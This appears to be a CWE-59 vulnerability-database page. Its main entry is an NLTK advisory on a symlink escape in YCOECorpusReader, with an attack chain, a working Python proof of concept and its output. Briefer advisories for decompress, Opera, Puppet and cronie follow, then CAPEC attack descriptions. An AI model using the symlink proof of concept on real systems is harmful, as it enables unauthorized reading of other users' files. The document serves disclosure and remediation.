tagged_words() : [('SECRET', 'NN'), ('leaked-out-of-ycoe-root', 'NN')]
ESCAPE CONFIRMED: YCOE read out-of-root content via psd/pos symlink
A negative control with real (non-symlink) psd/pos directories stays contained, and a symlink whose target is /etc is rejected at construction with a PermissionError, confirming the escape is bounded to the sandbox.
Attack Chain
- Exposure: A victim application loads a YCOE corpus whose directory contents are attacker-controlled (a downloaded, shared, or planted corpus placed under an allowlisted NLTK data root), running with
pathsec.ENFORCE=True. - Control: The attacker sets the corpus root's
psdandposentries to directory symlinks pointing at another directory inside the allowed sandbox. - Path:
YCOECorpusReader.__init__callsself.root.join("psd");FileSystemPathPointer.join()returns a pointer to<root>/psdafter a lexical-only check that never resolves the symlink. - Guard:
CorpusReader.__init__callsvalidate_path(root)withoutrequired_root, so the scoped per-corpus-root layer is skipped; only the global-sandbox layer runs and it resolves the symlink to an in-sandbox target and accepts it. - Primitive: The nested sub-reader's root is now the escaped target;
find_corpus_fileidsand the read-timevalidate_path(required_root=self._root)both anchor to that escaped root, so all reads are treated as in-root. - Result:
parsed_sents(),tagged_words(),tagged_sents(), andwords()return file content from outside the YCOE corpus root but inside the allowed sandbox: read-only cross-corpus-root disclosure.
Bypass Evidence
The relevant guards are the pathsec containment checks that were added to confine corpus readers to their roots. They do not block this path:
FileSystemPathPointer.join()(nltk/data.py) checksjoined == root or joined.startswith(root + os.sep)on the lexical, non-resolved path. Apsdcomponent that is a directory symlink yields<root>/psd, which satisfies the prefix test, and the symlink is never resolved.FileSystemPathPointer.__init__usesos.path.abspath, which also does not resolve symlinks.CorpusReader.__init__(nltk/corpus/reader/api.py) invokesvalidate_path(root, context="CorpusReader.__init__")with norequired_root. Invalidate_path, the scoped layer is guarded byif required_root:and is therefore skipped; only the global-sandbox layer runs, which resolves the symlink target and accepts it because it lies insidenltk.data.path.- The read-time guard
validate_path(path, required_root=self._root)uses the sub-reader's ownself._root, which is already the escaped target, so it cannot detect the escape.find_corpus_fileidscomputesresolved_root = os.path.realpath(root.path)on the escaped root, so itscommonpathdescent guard also confines to the escaped target rather than the YCOE root.
Refutation attempts that failed: a boundary test with a /etc symlink target is rejected at construction (PermissionError), so this is not arbitrary-filesystem read; a negative control with real psd/pos directories stays contained; and the escape reproduces against the exact published PyPI sdists for 3.10.0 and 3.10.3, so it is not an artifact of an unreleased development tree. No published advisory or fix addresses this reader: the currently released readers hardened for symlink escapes do not include YCOE's nested-reader root construction, and no fix commit touches nltk/corpus/reader/ycoe.py.
Affected Versions
Ecosystem: PyPIPackage: nltkConfirmed affected range: >= 3.10.0, <= 3.10.3Latest release checked: 3.10.3 (PyPI sdist sha256 bb9327a461c3811c2fa4900e03840401f2126adfb30c0072827c433bd2444ea4, uploaded 2026-08-12)Fix status: 3.10.4
The pathsec corpus-root containment control is active by default (ENFORCE=True) in the 3.10.x line, and the vulnerable YCOE nested-reader construction is present unchanged in every 3.10.x release. The escape was reproduced against the published 3.10.0 and 3.10.3 sdists. Version 3.9.4 ships with ENFORCE=False by default, so the per-corpus-root control is not active there by default; that un-hardened default is tracked separately and is not the boundary this report concerns. No later fixed release exists at the time of review.
Suggested Fix
Enforce the per-corpus-root containment invariant when a reader constructs a nested sub-reader. Two complementary options:
- In
YCOECorpusReader.__init__, validate each nested root against the parent corpus root, for examplevalidate_path(self.root.join("psd"), required_root=self.root)(and likewise forpos), so a sub-reader root that resolves outside the enclosing YCOE root is rejected. - Harden
FileSystemPathPointer.join()to reject a component whose resolved target escapes the pointer's own resolved root, rather than relying on a lexical prefix test, so no reader can be pointed outside its root by a symlinked component.
Apply the same review to any other reader that constructs nested sub-readers from a root-derived path. As an interim mitigation, only load YCOE corpora from trusted, attacker-inaccessible directories, and avoid placing untrusted corpora under a shared NLTK data root in multi-tenant or automated-ingestion pipelines.
Reported by zx (GitHub: @manus-pi).
Fix status (2026-09-28)
Status: IN PROGRESS (fix on an open pull request, not yet on develop).
PR: #3888 "Validate chat80.sql_query dbname for path containment (CWE-59/73)", open; head e0e890f51 at the time of this note.
Fix commits: 68434c042 "Enforce corpus-root containment in YCOE reader and StreamBackedCorpusView" and 2c563b13f (scopes the YCOE guard).
No probe. Regression test on the PR: nltk/test/unit/test_ycoe_streamview_pathsec.py (13 passed on the PR head e0e890f51). The advisory PoC re-run (psd and pos directory symlinks pointing outside the corpus root but inside the data sandbox): on the PR head YCOECorpusReader refuses with ValueError (Security Violation [YCOECorpusReader]: path escapes root); on develop 2fa3f48fe parsed_sents() and tagged_words() return the planted out-of-root content, so develop is still VULNERABLE.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.3"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.0"
},
{
"fixed": "3.10.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-126304"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-13T20:55:16Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`YCOECorpusReader` builds two nested corpus sub-readers whose roots are derived from `self.root.join(\"psd\")` and `self.root.join(\"pos\")` (nltk/corpus/reader/ycoe.py). Because `FileSystemPathPointer.join()` (nltk/data.py) performs a purely lexical containment check and never resolves symlinks, and because `CorpusReader.__init__` (nltk/corpus/reader/api.py) validates a sub-reader root only against the global NLTK data sandbox and not against the enclosing corpus root, a directory symlink named `psd` or `pos` planted inside a YCOE corpus lets the reader anchor its nested sub-readers outside the YCOE corpus root. An attacker who controls the contents of a YCOE corpus loaded under `pathsec.ENFORCE=True` can make `parsed_sents()`, `tagged_words()`, and related methods return file content from other locations inside the allowed data sandbox, defeating the per-corpus-root containment boundary the pathsec controls are meant to enforce.\n\n## Root Cause\n\nNLTK\u0027s pathsec controls are designed to keep each corpus reader confined to its own corpus root. The scoped containment is enforced through `validate_path(..., required_root=self._root)` at read time. However, the containment invariant is violated at reader-construction time for nested readers:\n\n- `FileSystemPathPointer.join()` accepts a component that is a directory symlink because it only checks the joined string lexically (`os.path.normpath` plus a `startswith` prefix test) and never calls `resolve()`.\n- `CorpusReader.__init__` validates the resulting sub-reader root string, but calls `validate_path` without `required_root`, so only the global-sandbox layer runs; the scoped per-corpus-root layer is skipped. The symlink is resolved by that global check, its target is found to be inside the allowed sandbox, and the sub-reader is accepted with its root pointing at the escaped target.\n\nFrom that point every read the sub-reader performs is scoped to the already-escaped root, so no later guard re-anchors it to the YCOE corpus root.\n\n```text\nAffected functions:\n- nltk.corpus.reader.ycoe.YCOECorpusReader.__init__ (nltk/corpus/reader/ycoe.py) builds nested sub-readers from self.root.join(\"psd\")/(\"pos\") without containing them to the parent root\n- nltk.corpus.reader.api.CorpusReader.__init__ (nltk/corpus/reader/api.py) validates a sub-reader root only against the global sandbox (validate_path without required_root)\n- nltk.data.FileSystemPathPointer.join (nltk/data.py) applies a lexical prefix check only and never resolves symlinks\n```\n\n## Impact\n\nAn attacker who controls the directory contents of a YCOE corpus that is loaded by a victim application under `pathsec.ENFORCE=True` (the default in the affected releases) can read file content that lives outside the YCOE corpus root but inside an allowed NLTK data root. The disclosure is bounded to the global NLTK data sandbox: a symlink whose target resolves outside every allowed root is rejected at construction, so this is not an arbitrary-filesystem read. The demonstrated capability is read-only cross-corpus-root disclosure. In a multi-tenant or automated-ingestion deployment the accessible scope includes other corpora placed under the shared data path and the shared system temporary directory, which is a default allowed root and can hold other processes\u0027 sensitive temporary files. There is no integrity or availability impact.\n\n## Proof of Concept\n\n`Dependencies: a released nltk (3.10.0 through 3.10.3) on a POSIX host. No third-party packages. The only allowed data root is a fresh temp sandbox; ENFORCE is left at its default of True.`\n\nSteps:\n1. Create a sandbox directory and register it as the sole `nltk.data.path` entry.\n2. Inside the sandbox create a \"victim\" directory holding `doc1.psd` / `doc1.pos` outside the YCOE corpus root.\n3. Create a YCOE corpus root whose `psd` and `pos` entries are directory symlinks pointing at the victim directory.\n4. Construct `YCOECorpusReader` on that root and read it.\n\n```python\nimport os, tempfile, nltk\nfrom nltk import pathsec\nsandbox = os.path.realpath(tempfile.mkdtemp())\npathsec.ENFORCE = True\nnltk.data.path = [sandbox]\npathsec._ALLOWED_ROOTS_CACHE = None\nfrom nltk.corpus.reader.ycoe import YCOECorpusReader\n\nvictim = os.path.join(sandbox, \"victim\", \"psd_secret\")\nvictim_pos = os.path.join(sandbox, \"victim\", \"pos_secret\")\nos.makedirs(victim); os.makedirs(victim_pos)\nopen(os.path.join(victim, \"doc1.psd\"), \"w\").write(\"(S (SECRET leaked-out-of-ycoe-root))\\n\")\nopen(os.path.join(victim_pos, \"doc1.pos\"), \"w\").write(\"SECRET_NN leaked-out-of-ycoe-root_NN\\n\")\n\nycoe = os.path.join(sandbox, \"corpora\", \"ycoe_evil\"); os.makedirs(ycoe)\nos.symlink(victim, os.path.join(ycoe, \"psd\"))\nos.symlink(victim_pos, os.path.join(ycoe, \"pos\"))\n\nreader = YCOECorpusReader(ycoe)\nprint(reader.parsed_sents())\nprint(reader.tagged_words())\n```\n\n```text\npsd sub-reader real root : /tmp/ycoe_poc_zc35zihw/victim/psd_secret\nycoe corpus root : /tmp/ycoe_poc_zc35zihw/corpora/ycoe_evil\nparsed_sents() : [Tree(\u0027S\u0027, [Tree(\u0027SECRET\u0027, [\u0027leaked-out-of-ycoe-root\u0027])])]\ntagged_words() : [(\u0027SECRET\u0027, \u0027NN\u0027), (\u0027leaked-out-of-ycoe-root\u0027, \u0027NN\u0027)]\nESCAPE CONFIRMED: YCOE read out-of-root content via psd/pos symlink\n```\n\nA negative control with real (non-symlink) `psd`/`pos` directories stays contained, and a symlink whose target is `/etc` is rejected at construction with a `PermissionError`, confirming the escape is bounded to the sandbox.\n\n## Attack Chain\n\n1. **Exposure:** A victim application loads a YCOE corpus whose directory contents are attacker-controlled (a downloaded, shared, or planted corpus placed under an allowlisted NLTK data root), running with `pathsec.ENFORCE=True`.\n2. **Control:** The attacker sets the corpus root\u0027s `psd` and `pos` entries to directory symlinks pointing at another directory inside the allowed sandbox.\n3. **Path:** `YCOECorpusReader.__init__` calls `self.root.join(\"psd\")`; `FileSystemPathPointer.join()` returns a pointer to `\u003croot\u003e/psd` after a lexical-only check that never resolves the symlink.\n4. **Guard:** `CorpusReader.__init__` calls `validate_path(root)` without `required_root`, so the scoped per-corpus-root layer is skipped; only the global-sandbox layer runs and it resolves the symlink to an in-sandbox target and accepts it.\n5. **Primitive:** The nested sub-reader\u0027s root is now the escaped target; `find_corpus_fileids` and the read-time `validate_path(required_root=self._root)` both anchor to that escaped root, so all reads are treated as in-root.\n6. **Result:** `parsed_sents()`, `tagged_words()`, `tagged_sents()`, and `words()` return file content from outside the YCOE corpus root but inside the allowed sandbox: read-only cross-corpus-root disclosure.\n\n## Bypass Evidence\n\nThe relevant guards are the pathsec containment checks that were added to confine corpus readers to their roots. They do not block this path:\n\n- `FileSystemPathPointer.join()` (nltk/data.py) checks `joined == root or joined.startswith(root + os.sep)` on the lexical, non-resolved path. A `psd` component that is a directory symlink yields `\u003croot\u003e/psd`, which satisfies the prefix test, and the symlink is never resolved. `FileSystemPathPointer.__init__` uses `os.path.abspath`, which also does not resolve symlinks.\n- `CorpusReader.__init__` (nltk/corpus/reader/api.py) invokes `validate_path(root, context=\"CorpusReader.__init__\")` with no `required_root`. In `validate_path`, the scoped layer is guarded by `if required_root:` and is therefore skipped; only the global-sandbox layer runs, which resolves the symlink target and accepts it because it lies inside `nltk.data.path`.\n- The read-time guard `validate_path(path, required_root=self._root)` uses the sub-reader\u0027s own `self._root`, which is already the escaped target, so it cannot detect the escape. `find_corpus_fileids` computes `resolved_root = os.path.realpath(root.path)` on the escaped root, so its `commonpath` descent guard also confines to the escaped target rather than the YCOE root.\n\nRefutation attempts that failed: a boundary test with a `/etc` symlink target is rejected at construction (`PermissionError`), so this is not arbitrary-filesystem read; a negative control with real `psd`/`pos` directories stays contained; and the escape reproduces against the exact published PyPI sdists for 3.10.0 and 3.10.3, so it is not an artifact of an unreleased development tree. No published advisory or fix addresses this reader: the currently released readers hardened for symlink escapes do not include YCOE\u0027s nested-reader root construction, and no fix commit touches nltk/corpus/reader/ycoe.py.\n\n## Affected Versions\n\n- `Ecosystem: PyPI`\n- `Package: nltk`\n- `Confirmed affected range: \u003e= 3.10.0, \u003c= 3.10.3`\n- `Latest release checked: 3.10.3 (PyPI sdist sha256 bb9327a461c3811c2fa4900e03840401f2126adfb30c0072827c433bd2444ea4, uploaded 2026-08-12)`\n- `Fix status: 3.10.4`\n\nThe pathsec corpus-root containment control is active by default (`ENFORCE=True`) in the 3.10.x line, and the vulnerable YCOE nested-reader construction is present unchanged in every 3.10.x release. The escape was reproduced against the published 3.10.0 and 3.10.3 sdists. Version 3.9.4 ships with `ENFORCE=False` by default, so the per-corpus-root control is not active there by default; that un-hardened default is tracked separately and is not the boundary this report concerns. No later fixed release exists at the time of review.\n\n## Suggested Fix\n\nEnforce the per-corpus-root containment invariant when a reader constructs a nested sub-reader. Two complementary options:\n\n- In `YCOECorpusReader.__init__`, validate each nested root against the parent corpus root, for example `validate_path(self.root.join(\"psd\"), required_root=self.root)` (and likewise for `pos`), so a sub-reader root that resolves outside the enclosing YCOE root is rejected.\n- Harden `FileSystemPathPointer.join()` to reject a component whose resolved target escapes the pointer\u0027s own resolved root, rather than relying on a lexical prefix test, so no reader can be pointed outside its root by a symlinked component.\n\nApply the same review to any other reader that constructs nested sub-readers from a root-derived path. As an interim mitigation, only load YCOE corpora from trusted, attacker-inaccessible directories, and avoid placing untrusted corpora under a shared NLTK data root in multi-tenant or automated-ingestion pipelines.\n\nReported by zx (GitHub: @manus-pi).\n\n## Fix status (2026-09-28)\n\nStatus: IN PROGRESS (fix on an open pull request, not yet on develop).\n\nPR: #3888 \"Validate chat80.sql_query dbname for path containment (CWE-59/73)\", open; head e0e890f51 at the time of this note.\n\nFix commits: 68434c042 \"Enforce corpus-root containment in YCOE reader and StreamBackedCorpusView\" and 2c563b13f (scopes the YCOE guard).\n\nNo probe. Regression test on the PR: nltk/test/unit/test_ycoe_streamview_pathsec.py (13 passed on the PR head e0e890f51). The advisory PoC re-run (psd and pos directory symlinks pointing outside the corpus root but inside the data sandbox): on the PR head YCOECorpusReader refuses with ValueError (Security Violation [YCOECorpusReader]: path escapes root); on develop 2fa3f48fe parsed_sents() and tagged_words() return the planted out-of-root content, so develop is still VULNERABLE.",
"id": "GHSA-qg35-44qx-7vrr",
"modified": "2026-11-13T20:55:16Z",
"published": "2026-11-13T20:55:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-qg35-44qx-7vrr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-126304"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3888"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/2c563b13f9dce7c15eefd4b03463e1b69b64f1f3"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/68434c0427f8d296f3adfddb518525038d1f7bfa"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-3.10.0-before-3.10.4-symlink-escape-in-ycoecorpusreader"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "NLTK: Symlink escape in YCOECorpusReader lets a psd/pos directory symlink read files outside the corpus root within the data sandbox"
}
GHSA-QGFR-5HQP-VRW9
Vulnerability from github – Published: 2020-09-03 21:16 – Updated: 2023-04-18 14:49Versions of decompress prior to 4.2.1 are vulnerable to Arbitrary File Write. The package fails to prevent extraction of files with relative paths, allowing attackers to write to any folder in the system by including filenames containing../.
Recommendation
Upgrade to version 4.2.1 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "decompress"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-12265"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:51:16Z",
"nvd_published_at": "2020-04-26T17:15:00Z",
"severity": "CRITICAL"
},
"details": "Versions of `decompress` prior to 4.2.1 are vulnerable to Arbitrary File Write. The package fails to prevent extraction of files with relative paths, allowing attackers to write to any folder in the system by including filenames containing`../`.\n\n\n## Recommendation\n\nUpgrade to version 4.2.1 or later.",
"id": "GHSA-qgfr-5hqp-vrw9",
"modified": "2023-04-18T14:49:55Z",
"published": "2020-09-03T21:16:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12265"
},
{
"type": "WEB",
"url": "https://github.com/kevva/decompress/issues/71"
},
{
"type": "WEB",
"url": "https://github.com/kevva/decompress/pull/73"
},
{
"type": "WEB",
"url": "https://github.com/kevva/decompress/commit/967146e70f48be32ed1a69daa3941d681944d513"
},
{
"type": "PACKAGE",
"url": "https://github.com/kevva/decompress"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Path Traversal in decompress"
}
GHSA-QGQR-XGPP-PCG3
Vulnerability from github – Published: 2022-05-17 02:19 – Updated: 2025-04-09 03:59Unspecified vulnerability in Opera before 9.60 allows remote attackers to cause a denial of service (application crash) or execute arbitrary code via a redirect that specifies a crafted URL.
{
"affected": [],
"aliases": [
"CVE-2008-4694"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-10-23T22:00:00Z",
"severity": "HIGH"
},
"details": "Unspecified vulnerability in Opera before 9.60 allows remote attackers to cause a denial of service (application crash) or execute arbitrary code via a redirect that specifies a crafted URL.",
"id": "GHSA-qgqr-xgpp-pcg3",
"modified": "2025-04-09T03:59:57Z",
"published": "2022-05-17T02:19:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4694"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45722"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2008-10/msg00009.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32177"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32394"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32538"
},
{
"type": "WEB",
"url": "http://security.gentoo.org/glsa/glsa-200811-01.xml"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1021016"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/10/21/5"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/10/22/5"
},
{
"type": "WEB",
"url": "http://www.opera.com/docs/changelogs/freebsd/960"
},
{
"type": "WEB",
"url": "http://www.opera.com/docs/changelogs/linux/960"
},
{
"type": "WEB",
"url": "http://www.opera.com/docs/changelogs/mac/960"
},
{
"type": "WEB",
"url": "http://www.opera.com/docs/changelogs/solaris/960"
},
{
"type": "WEB",
"url": "http://www.opera.com/docs/changelogs/windows/960"
},
{
"type": "WEB",
"url": "http://www.opera.com/support/search/view/901"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31631"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/2765"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QGRX-JQWH-WCX9
Vulnerability from github – Published: 2022-01-12 00:01 – Updated: 2024-11-14 21:31Windows Cleanup Manager Elevation of Privilege Vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-21838"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-11T21:15:00Z",
"severity": "MODERATE"
},
"details": "Windows Cleanup Manager Elevation of Privilege Vulnerability.",
"id": "GHSA-qgrx-jqwh-wcx9",
"modified": "2024-11-14T21:31:43Z",
"published": "2022-01-12T00:01:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21838"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21838"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21838"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-22-049"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QH3G-27JF-3J54
Vulnerability from github – Published: 2022-05-14 00:56 – Updated: 2024-01-16 21:28Puppet 2.7.x before 2.7.5, 2.6.x before 2.6.11, and 0.25.x allows local users to modify the permissions of arbitrary files via a symlink attack on the SSH authorized_keys file.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "puppet"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "puppet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2011-3870"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-16T21:28:46Z",
"nvd_published_at": "2011-10-27T20:55:00Z",
"severity": "MODERATE"
},
"details": "Puppet 2.7.x before 2.7.5, 2.6.x before 2.6.11, and 0.25.x allows local users to modify the permissions of arbitrary files via a symlink attack on the SSH authorized_keys file.",
"id": "GHSA-qh3g-27jf-3j54",
"modified": "2024-01-16T21:28:46Z",
"published": "2022-05-14T00:56:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-3870"
},
{
"type": "WEB",
"url": "https://github.com/puppetlabs/puppet/commit/88512e880bd2a03694b5fef42540dc7b3da05d30"
},
{
"type": "WEB",
"url": "https://github.com/puppetlabs/puppet/commit/b29b1785d543a3cea961fffa9b3c15f14ab7cce0"
},
{
"type": "PACKAGE",
"url": "https://github.com/puppetlabs/puppet"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/puppet/CVE-2011-3870.yml"
},
{
"type": "WEB",
"url": "https://puppet.com/security/cve/cve-2011-3870"
},
{
"type": "WEB",
"url": "http://groups.google.com/group/puppet-announce/browse_thread/thread/91e3b46d2328a1cb"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068053.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068061.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068093.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2011/dsa-2314"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-1223-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-1223-2"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Puppet allows local users to modify the permissions of arbitrary files"
}
GHSA-QHFC-5XCH-PG48
Vulnerability from github – Published: 2022-05-02 06:12 – Updated: 2022-05-02 06:12The edit_cmd function in crontab.c in (1) cronie before 1.4.4 and (2) Vixie cron (vixie-cron) allows local users to change the modification times of arbitrary files, and consequently cause a denial of service, via a symlink attack on a temporary file in the /tmp directory.
{
"affected": [],
"aliases": [
"CVE-2010-0424"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-02-25T19:30:00Z",
"severity": "LOW"
},
"details": "The edit_cmd function in crontab.c in (1) cronie before 1.4.4 and (2) Vixie cron (vixie-cron) allows local users to change the modification times of arbitrary files, and consequently cause a denial of service, via a symlink attack on a temporary file in the /tmp directory.",
"id": "GHSA-qhfc-5xch-pg48",
"modified": "2022-05-02T06:12:38Z",
"published": "2022-05-02T06:12:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0424"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=565809"
},
{
"type": "WEB",
"url": "http://git.fedorahosted.org/git/cronie.git?p=cronie.git%3Ba=commit%3Bh=9e4a8fa5f9171fb724981f53879c9b20264aeb61"
},
{
"type": "WEB",
"url": "http://git.fedorahosted.org/git/cronie.git?p=cronie.git;a=commit;h=9e4a8fa5f9171fb724981f53879c9b20264aeb61"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2010-February/035762.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/38700"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/38741"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48104"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/38391"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-48.1
Strategy: Separation of Privilege
- Follow the principle of least privilege when assigning access rights to entities in a software system.
- Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack
An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.